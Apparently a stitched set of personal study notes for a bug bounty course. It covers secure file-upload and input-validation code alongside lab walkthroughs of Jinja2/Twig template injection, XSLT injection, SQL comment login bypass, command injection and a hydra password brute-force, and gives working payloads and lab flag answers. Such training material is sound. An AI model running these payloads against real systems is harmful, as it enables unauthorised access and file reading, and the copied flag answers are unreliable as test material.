* [Input Sanitization](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention#input-sanitization)
* [Server Configuration](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention#server-configuration)
Copy
if(/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(ip)){
// call function
}
else{
// deny request
}
Copy
$ip = preg_replace('/[^A-Za-z0-9.]/', '', $_GET['ip']);
Copy
var ip = ip.replace(/[^A-Za-z0-9.]/g, '');
Copy
import DOMPurify from 'dompurify';
var ip = DOMPurify.sanitize(ip);
---
# Preventing File Upload Vulnerabilities | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/preventing-file-upload-vulnerabilities.md)
.
* * *
Throughout this module, we have discussed various methods of exploiting different file upload vulnerabilities. In any penetration test or bug bounty exercise we take part in, we must be able to report action points to be taken to rectify the identified vulnerabilities.
This section will discuss what we can do to ensure that our file upload functions are securely coded and safe against exploitation and what action points we can recommend for each type of file upload vulnerability.
* * *
### Extension Validation[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/preventing-file-upload-vulnerabilities#extension-validation)
The first and most common type of upload vulnerabilities we discussed in this module was file extension validation. File extensions play an important role in how files and scripts are executed, as most web servers and web applications tend to use file extensions to set their execution properties. This is why we should make sure that our file upload functions can securely handle extension validation.
While whitelisting extensions is always more secure, as we have seen previously, it is recommended to use both by whitelisting the allowed extensions and blacklisting dangerous extensions. This way, the blacklist list will prevent uploading malicious scripts if the whitelist is ever bypassed (e.g. `shell.php.jpg`). The following example shows how this can be done with a PHP web application, but the same concept can be applied to other frameworks:
Code: php
Copy
$fileName = basename($_FILES["uploadFile"]["name"]);
// blacklist test
if (preg_match('/^.*\.ph(p|ps|ar|tml)/', $fileName)) {
echo "Only images are allowed";
die();
}
// whitelist test
if (!preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $fileName)) {
echo "Only images are allowed";
die();
}
We see that with blacklisted extension, the web application checks `if the extension exists anywhere within the file name`, while with whitelists, the web application checks `if the file name ends with the extension`. Furthermore, we should also apply both back-end and front-end file validation. Even if front-end validation can be easily bypassed, it reduces the chances of users uploading unintended files, thus potentially triggering a defense mechanism and sending us a false alert.
* * *
### Content Validation[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/preventing-file-upload-vulnerabilities#content-validation)
As we have also learned in this module, extension validation is not enough, as we should also validate the file content. We cannot validate one without the other and must always validate both the file extension and its content. Furthermore, we should always make sure that the file extension matches the file's content.
The following example shows us how we can validate the file extension through whitelisting, and validate both the File Signature and the HTTP Content-Type header, while ensuring both of them match our expected file type:
Code: php
* * *
### Upload Disclosure[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/preventing-file-upload-vulnerabilities#upload-disclosure)
Another thing we should avoid doing is disclosing the uploads directory or providing direct access to the uploaded file. It is always recommended to hide the uploads directory from the end-users and only allow them to download the uploaded files through a download page.
We may write a `download.php` script to fetch the requested file from the uploads directory and then download the file for the end-user. This way, the web application hides the uploads directory and prevents the user from directly accessing the uploaded file. This can significantly reduce the chances of accessing a maliciously uploaded script to execute code.
If we utilize a download page, we should ensure that the `download.php` script enforces strict authorization checks and path validation. The server must verify that the requested file is owned by, or accessible to, the authenticated user to prevent Insecure Direct Object Reference (IDOR) vulnerabilities. To defend against Local File Inclusion (LFI), the script should avoid using unvalidated or unsanitized user input in file paths and enforce a strict allowlist of accessible files and directories.
Additionally, users should not have direct access to the uploads directory. Any direct requests to this directory should return a `403 Forbidden` response. Instead, files should be served through the controlled script using security-focused HTTP headers such as:
* `Content-Disposition`: Used to specify how the content should be displayed in the browser. Setting it to `attachment` instructs the browser to download the file rather than render it inline.
* `Content-Type`: Specifies the MIME type of the file, ensuring that the browser knows how to handle the file content appropriately.
* `X-Content-Type-Options: nosniff`: Prevents the browser from MIME-type sniffing, which helps mitigate security risks by ensuring that the browser adheres strictly to the specified `Content-Type`.
In addition to restricting the uploads directory, we should also randomize the names of the uploaded files in storage and store their "sanitized" original names in a database. When the `download.php` script needs to download a file, it fetches its original name from the database and provides it at download time for the user. This way, users will neither know the uploads directory nor the uploaded file name. We can also avoid vulnerabilities caused by injections in the file names, as we saw in the previous section.
Another thing we can do is store the uploaded files in a separate server or container. If an attacker can gain remote code execution, they would only compromise the uploads server, not the entire back-end server. Furthermore, web servers can be configured to prevent web applications from accessing files outside their restricted directories by using configurations like (`open_basedir`) in PHP.
* * *
### Further Security[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/preventing-file-upload-vulnerabilities#further-security)
The above tips should significantly reduce the chances of uploading and accessing a malicious file. We can take a few other measures to ensure that the back-end server is not compromised if any of the above measures are bypassed.
A critical configuration we can add is disabling specific functions that may be used to execute system commands through the web application. For example, to do so in PHP, we can use the `disable_functions` configuration in `php.ini` and add such dangerous functions, like `exec`, `shell_exec`, `system`, `passthru`, and a few others.
Another thing we should do is to disable showing any system or server errors, to avoid sensitive information disclosure. We should always handle errors at the web application level and print out simple errors that explain the error without disclosing any sensitive or specific details, like the file name, uploads directory, or the raw errors.
Finally, the following are a few other tips we should consider for our web applications:
* Limit file size
* Update any used libraries
* Scan uploaded files for malware or malicious strings
* Utilize a Web Application Firewall (WAF) as a secondary layer of protection
Once we perform all of the security measures discussed in this section, the web application should be relatively secure and not vulnerable to common file upload threats. When performing a web penetration test, we can use these points as a checklist and provide any missing ones to the developers to fill any remaining gaps.
[PreviousOther Upload Attacks](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/other-upload-attacks)
[NextSkills Assessment](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment)
Last updated 9 months ago
* [Extension Validation](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/preventing-file-upload-vulnerabilities#extension-validation)
* [Content Validation](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/preventing-file-upload-vulnerabilities#content-validation)
* [Upload Disclosure](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/preventing-file-upload-vulnerabilities#upload-disclosure)
* [Further Security](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/preventing-file-upload-vulnerabilities#further-security)
Copy
$fileName = basename($_FILES["uploadFile"]["name"]);
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);
// whitelist test
if (!preg_match('/^.*\.png$/', $fileName)) {
echo "Only PNG images are allowed";
die();
}
// content test
foreach (array($contentType, $MIMEtype) as $type) {
if (!in_array($type, array('image/png'))) {
echo "Only PNG images are allowed";
die();
}
}
---
# Exploiting SSTI - Jinja2 | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2.md)
.
Exploiting SSTI - Jinja2[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2#exploiting-ssti-jinja2)
--------------------------------------------------------------------------------------------------------------------------------------------
* * *
Now that we have seen how to identify the template engine used by a web application vulnerable to SSTI, we will move on to the exploitation of SSTI. In this section, we will assume that we have successfully identified that the web application uses the `Jinja` template engine. We will only focus on the SSTI exploitation and thus assume that the SSTI confirmation and template engine identification have already been done in a previous step.
Jinja is a template engine commonly used in Python web frameworks such as `Flask` or `Django`. This section will focus on a `Flask` web application. The payloads in other web frameworks might thus be slightly different.
In our payload, we can freely use any libraries that are already imported by the Python application, either directly or indirectly. Additionally, we may be able to import additional libraries through the use of the `import` statement.
* * *
### Information Disclosure[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2#information-disclosure)
We can exploit the SSTI vulnerability to obtain internal information about the web application, including configuration details and the web application's source code. For instance, we can obtain the web application's configuration using the following SSTI payload:
Code: jinja2
Copy
{{ config.items() }}
arrow-circle-left redo home

Since this payload dumps the entire web application configuration, including any used secret keys, we can prepare further attacks using the obtained information. We can also execute Python code to obtain information about the web application's source code. We can use the following SSTI payload to dump all available built-in functions:
Code: jinja2
arrow-circle-left redo home

* * *
### Local File Inclusion (LFI)[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2#local-file-inclusion-lfi)
We can use Python's built-in function `open` to include a local file. However, we cannot call the function directly; we need to call it from the `__builtins__` dictionary we dumped earlier. This results in the following payload to include the file `/etc/passwd`:
Code: jinja2
arrow-circle-left redo home

* * *
### Remote Code Execution (RCE)[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2#remote-code-execution-rce)
To achieve remote code execution in Python, we can use functions provided by the `os` library, such as `system` or `popen`. However, if the web application has not already imported this library, we must first import it by calling the built-in function `import`. This results in the following SSTI payload:
Code: jinja2
arrow-circle-left redo home

### Q: Exploit the SSTI vulnerability to obtain RCE and read the flag.[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2#q-exploit-the-ssti-vulnerability-to-obtain-rce-and-read-the-flag)
you can try command and instead of 'id' do 'ls'

Now try to cat the flag.tx with this payload
A: HTB{295649e25b4d852185ba34907ec80643}
[PreviousIdentifying SSTI](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/identifying-ssti)
[NextExploiting SSTI - Twig](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig)
Last updated 10 months ago
* [Exploiting SSTI - Jinja2](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2#exploiting-ssti-jinja2)
* [Information Disclosure](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2#information-disclosure)
* [Local File Inclusion (LFI)](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2#local-file-inclusion-lfi)
* [Remote Code Execution (RCE)](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2#remote-code-execution-rce)
* [Q: Exploit the SSTI vulnerability to obtain RCE and read the flag.](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2#q-exploit-the-ssti-vulnerability-to-obtain-rce-and-read-the-flag)
Copy
{{ self.__init__.__globals__.__builtins__ }}
Copy
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}
Copy
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Copy
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Copy
# Cat the flag.txt
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read() }}
---
# Exploiting SSTI - Twig | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig.md)
.
Exploiting SSTI - Twig[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig#exploiting-ssti-twig)
--------------------------------------------------------------------------------------------------------------------------------------
* * *
In this section, we will explore another example of SSTI exploitation. In the previous section, we discussed exploiting SSTI in the `Jinja` template engine. This section will discuss exploiting SSTI in the `Twig` template engine. Like in the previous section, we will only focus on the SSTI exploitation and thus assume that the SSTI confirmation and template engine identification have already been done in a previous step. Twig is a template engine for the PHP programming language.
* * *
### Information Disclosure[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig#information-disclosure)
In Twig, we can use the `_self` keyword to obtain a little information about the current template:
Code: twig
Copy
{{ _self }}
arrow-circle-left redo home

However, as we can see, the amount of information is limited compared to `Jinja`.
* * *
### Local File Inclusion (LFI)[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig#local-file-inclusion-lfi)
Reading local files (without using the same way as we will use for RCE) is not possible using internal functions directly provided by Twig. However, the PHP web framework [Symfony](https://symfony.com/)
defines additional Twig filters. One of these filters is [file\_excerpt](https://symfony.com/doc/current/reference/twig_reference.html#file-excerpt)
and can be used to read local files:
Code: twig
arrow-circle-left redo home

* * *
### Remote Code Execution (RCE)[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig#remote-code-execution-rce)
To achieve remote code execution, we can use a PHP built-in function such as `system`. We can pass an argument to this function by using Twig's `filter` function, resulting in any of the following SSTI payloads:
Code: twig
arrow-circle-left redo home

* * *
### Further Remarks[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig#further-remarks)
This module explored exploiting SSTI in the `Jinja` and `Twig` template engines. As we have seen, the syntax of each template engine is slightly different. However, the general idea behind SSTI exploitation remains the same. Therefore, exploiting an SSTI in a template engine the attacker is unfamiliar with is often as simple as becoming familiar with the syntax and supported features of that particular template engine. An attacker can achieve this by reading the template engine's documentation. However, there are also SSTI cheat sheets that bundle payloads for popular template engines, such as the [PayloadsAllTheThings SSTI CheatSheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md)
.
### Q: Exploit the SSTI vulnerability to obtain RCE and read the flag.[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig#q-exploit-the-ssti-vulnerability-to-obtain-rce-and-read-the-flag)
Try this command

After some decent enumeration we see that the flag can be located with this command

Now cat the flag with this command

A: HTB{5034a6692604de344434ae83f1cdbec6}
[PreviousExploiting SSTI - Jinja2](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2)
[NextSSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection)
Last updated 10 months ago
* [Exploiting SSTI - Twig](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig#exploiting-ssti-twig)
* [Information Disclosure](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig#information-disclosure)
* [Local File Inclusion (LFI)](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig#local-file-inclusion-lfi)
* [Remote Code Execution (RCE)](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig#remote-code-execution-rce)
* [Further Remarks](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig#further-remarks)
* [Q: Exploit the SSTI vulnerability to obtain RCE and read the flag.](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig#q-exploit-the-ssti-vulnerability-to-obtain-rce-and-read-the-flag)
Copy
{{ "/etc/passwd"|file_excerpt(1,-1) }}
Copy
{{ ['id'] | filter('system') }}
Copy
{{ ['id'] | filter('system') }}
Copy
{{ ['ls ../../../'] | filter('system') }}
Copy
{{ ['cat ../../../flag.txt'] | filter('system') }}
---
# Exploitation | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation.md)
.
[Detection](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/detection)
[Injecting Commands](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/injecting-commands)
[Other Injection Operators](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/other-injection-operators)
[PreviousCheat Sheet](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/cheat-sheet)
[NextDetection](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/detection)
Last updated 1 year ago
---
# Exploiting XSLT Injection | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/exploiting-xslt-injection.md)
.
* * *
After discussing some basics and use cases for XSLT, let us dive into exploiting XSLT injection vulnerabilities.
* * *
### Identifying XSLT Injection[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/exploiting-xslt-injection#identifying-xslt-injection)
Our sample web application displays basic information about some Academy modules:
arrow-circle-left redo home

At the bottom of the page, we can provide a username that is inserted into the headline at the top of the list:
arrow-circle-left redo home

As we can see, the name we provide is reflected on the page. Suppose the web application stores the module information in an XML document and displays the data using XSLT processing. In that case, it might suffer from XSLT injection if our name is inserted without sanitization before XSLT processing. To confirm that, let us try to inject a broken XML tag to try to provoke an error in the web application. We can achieve this by providing the username `<`:
arrow-circle-left redo home
As we can see, the web application responds with a server error. While this does not confirm that an XSLT injection vulnerability is present, it might indicate the presence of a security issue.
* * *
### Information Disclosure[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/exploiting-xslt-injection#information-disclosure)
We can try to infer some basic information about the XSLT processor in use by injecting the following XSLT elements:
Code: xml
The web application provides the following response:
arrow-circle-left redo home

Since the web application interpreted the XSLT elements we provided, this confirms an XSLT injection vulnerability. Furthermore, we can deduce that the web application seems to rely on the `libxslt` library and supports XSLT version `1.0`.
* * *
### Local File Inclusion (LFI)[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/exploiting-xslt-injection#local-file-inclusion-lfi)
We can try to use multiple different functions to read a local file. Whether a payload will work depends on the XSLT version and the configuration of the XSLT library. For instance, XSLT contains a function `unparsed-text` that can be used to read a local file:
Code: xml
However, it was only introduced in XSLT version 2.0. Thus, our sample web application does not support this function and instead errors out. However, if the XSLT library is configured to support PHP functions, we can call the PHP function `file_get_contents` using the following XSLT element:
Code: xml
Our sample web application is configured to support PHP functions. As such, the local file is displayed in the response:
arrow-circle-left redo home

* * *
### Remote Code Execution (RCE)[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/exploiting-xslt-injection#remote-code-execution-rce)
If an XSLT processor supports PHP functions, we can call a PHP function that executes a local system command to obtain RCE. For instance, we can call the PHP function `system` to execute a command:
Code: xml
arrow-circle-left redo home

Tried inserting this payload

A: HTB{3a4fe85c1f1e2b61cabe9836a150f892}
[PreviousIntro to XSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/intro-to-xslt-injection)
[NextPreventing XSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/preventing-xslt-injection)
Last updated 10 months ago
* [Identifying XSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/exploiting-xslt-injection#identifying-xslt-injection)
* [Information Disclosure](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/exploiting-xslt-injection#information-disclosure)
* [Local File Inclusion (LFI)](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/exploiting-xslt-injection#local-file-inclusion-lfi)
* [Remote Code Execution (RCE)](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/exploiting-xslt-injection#remote-code-execution-rce)
Copy
Version:
Vendor:
Vendor URL:
Product Name:
Product Version:
Copy
Copy
Copy
Copy
---
# Skills Assessment 1 | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1.md)
.
What is the password for the basic auth login?
Copy
// brute forcing password of a common user account
kali㉿kali)-[~/cbbh/bruteforce]
└─$ hydra -l admin -P 2023-200_most_used_passwords.txt 94.237.63.24 http-get / -s 38634
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-12 12:40:06
[DATA] max 16 tasks per 1 server, overall 16 tasks, 200 login tries (l:1/p:200), ~13 tries per task
[DATA] attacking http-get://94.237.63.24:38634/
[38634][http-get] host: 94.237.63.24 login: admin password: Admin123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-12 12:40:09
After successfully brute forcing the login, what is the username you have been given for the next part of the skills assessment?

[PreviousCustom Wordlists](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/custom-wordlists)
[NextRe Walk + Write Up](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up)
Last updated 1 year ago
---
# Exploitation | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation.md)
.
[Database Enumeration](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/database-enumeration)
[Reading Files](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/reading-files)
[Writing Files](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/writing-files)
[PreviousUnion Injection](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-injection)
[NextDatabase Enumeration](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/database-enumeration)
Last updated 1 year ago
---
# Using Comments | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/using-comments.md)
.
* * *
In this section we will learn how to use comments to subvert the logic of more advanced SQL queries and end up with a working SQL query to bypass the login authentication process.
* * *
### Comments[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/using-comments#comments)
Just like any other language, SQL allows the use of comments as well. Comments are used to document queries or ignore a certain part of the query. We can use two types of line comments with MySQL `--` and `#`, in addition to an in-line comment `/**/` (though this is not usually used in SQL injections). The `--` can be used as follows:
Using Comments
Copy
mysql> SELECT username FROM logins; -- Selects usernames from the logins table
+---------------+
| username |
+---------------+
| admin |
| administrator |
| john |
| tom |
+---------------+
4 rows in set (0.00 sec)
Note: In SQL, using two dashes only is not enough to start a comment. So, there has to be an empty space after them, so the comment starts with (-- ), with a space at the end. This is sometimes URL encoded as (--+), as spaces in URLs are encoded as (+). To make it clear, we will add another (-) at the end (-- -), to show the use of a space character.
The `#` symbol can be used as well.
Using Comments
Tip: if you are inputting your payload in the URL within a browser, a (#) symbol is usually considered as a tag, and will not be passed as part of the URL. In order to use (#) as a comment within a browser, we can use '%23', which is an URL encoded (#) symbol.
The server will ignore the part of the query with `AND password = 'something'` during evaluation.
* * *
### Auth Bypass with comments[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/using-comments#auth-bypass-with-comments)
Let us go back to our previous example and inject `admin'--` as our username. The final query will be:
Code: sql
As we can see from the syntax highlighting, the username is now `admin`, and the remainder of the query is now ignored as a comment. Also, this way, we can ensure that the query does not have any syntax issues.
Let us try using these on the login page, and log in with the username `admin'--` and anything as the password:

admin\_dash
As we see, we were able to bypass the authentication, as the new modified query checks for the username, with no other conditions.
* * *
### Another Example[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/using-comments#another-example)
SQL supports the usage of parenthesis if the application needs to check for particular conditions before others. Expressions within the parenthesis take precedence over other operators and are evaluated first. Let us look at a scenario like this:

paranthesis\_fail
The above query ensures that the user's id is always greater than 1, which will prevent anyone from logging in as admin. Additionally, we also see that the password was hashed before being used in the query. This will prevent us from injecting through the password field because the input is changed to a hash.
Let us try logging in with valid credentials `admin / p@ssw0rd` to see the response.

paranthesis\_valid\_fail
As expected, the login failed even though we supplied valid credentials because the admin’s ID equals 1. So let us try logging in with the credentials of another user, such as `tom`.

tom\_login
Logging in as the user with an id not equal to 1 was successful. So, how can we log in as the admin? We know from the previous section on comments that we can use them to comment out the rest of the query. So, let us try using `admin'--` as the username.

paranthesis\_error
The login failed due to a syntax error, as a closed one did not balance the open parenthesis. To execute the query successfully, we will have to add a closing parenthesis. Let us try using the username `admin')--` to close and comment out the rest.

paranthesis\_success
The query was successful, and we logged in as admin. The final query as a result of our input is:
Code: sql
The query above is like the one from the previous example and returns the row containing admin.

payload:

[PreviousSubverting Query Logic](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/subverting-query-logic)
[NextUnion Clause](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-clause)
Last updated 1 year ago
* [Comments](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/using-comments#comments)
* [Auth Bypass with comments](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/using-comments#auth-bypass-with-comments)
* [Another Example](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/using-comments#another-example)
Copy
mysql> SELECT * FROM logins WHERE username = 'admin'; # You can place anything here AND password = 'something'
+----+----------+----------+---------------------+
| id | username | password | date_of_joining |
+----+----------+----------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
+----+----------+----------+---------------------+
1 row in set (0.00 sec)
Copy
SELECT * FROM logins WHERE username='admin'-- ' AND password = 'something';
Copy
SELECT * FROM logins where (username='admin')
Copy
// Payload
'or id=5)#
---
# Injecting Commands | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/injecting-commands.md)
.
* * *
So far, we have found the `Host Checker` web application to be potentially vulnerable to command injections and discussed various injection methods we may utilize to exploit the web application. So, let's start our command injection attempts with the semi-colon operator (`;`).
* * *
### Injecting Our Command[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/injecting-commands#injecting-our-command)
We can add a semi-colon after our input IP `127.0.0.1`, and then append our command (e.g. `whoami`), such that the final payload we will use is (`127.0.0.1; whoami`), and the final command to be executed would be:
Code: bash
Copy
ping -c 1 127.0.0.1; whoami
First, let's try running the above command on our Linux VM to ensure it does run:
Injecting Commands
Copy
21y4d@htb[/htb]$ ping -c 1 127.0.0.1; whoami
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=1.03 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.034/1.034/1.034/0.000 ms
21y4d
As we can see, the final command successfully runs, and we get the output of both commands (as mentioned in the previous table for `;`). Now, we can try using our previous payload in the `Host Checker` web application: 
As we can see, the web application refused our input, as it seems only to accept input in an IP format. However, from the look of the error message, it appears to be originating from the front-end rather than the back-end. We can double-check this with the `Firefox Developer Tools` by clicking `[CTRL + SHIFT + E]` to show the Network tab and then clicking on the `Check` button again:

Developer tools interface showing Network tab. Instructions: Perform a request or click 'Reload' for network activity details. Click stopwatch icon for performance analysis. No requests displayed.
As we can see, no new network requests were made when we clicked on the `Check` button, yet we got an error message. This indicates that the `user input validation is happening on the front-end`.
This appears to be an attempt at preventing us from sending malicious payloads by only allowing user input in an IP format. `However, it is very common for developers only to perform input validation on the front-end while not validating or sanitizing the input on the back-end.` This occurs for various reasons, like having two different teams working on the front-end/back-end or trusting front-end validation to prevent malicious payloads.
However, as we will see, front-end validations are usually not enough to prevent injections, as they can be very easily bypassed by sending custom HTTP requests directly to the back-end.
* * *
### Bypassing Front-End Validation[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/injecting-commands#bypassing-front-end-validation)
The easiest method to customize the HTTP requests being sent to the back-end server is to use a web proxy that can intercept the HTTP requests being sent by the application. To do so, we can start `Burp Suite` or `ZAP` and configure Firefox to proxy the traffic through them. Then, we can enable the proxy intercept feature, send a standard request from the web application with any IP (e.g. `127.0.0.1`), and send the intercepted HTTP request to `repeater` by clicking `[CTRL + R]`, and we should have the HTTP request for customization:
**Burp POST Request**

HTTP request details in raw format, showing headers like Host, User-Agent, and Content-Type, with IP set to 127.0.0.1.
We can now customize our HTTP request and send it to see how the web application handles it. We will start by using the same previous payload (`127.0.0.1; whoami`). We should also URL-encode our payload to ensure it gets sent as we intend. We can do so by selecting the payload and then clicking `[CTRL + U]`. Finally, we can click `Send` to send our HTTP request:
**Burp POST Request**

Interface showing an HTTP request and response. The request includes headers like Host and User-Agent, with IP '127.0.0.1; whoami'. The response displays HTML with a ping result for 127.0.0.1.
As we can see, the response we got this time contains the output of the `ping` command and the result of the `whoami` command, `meaning that we successfully injected our new command`.
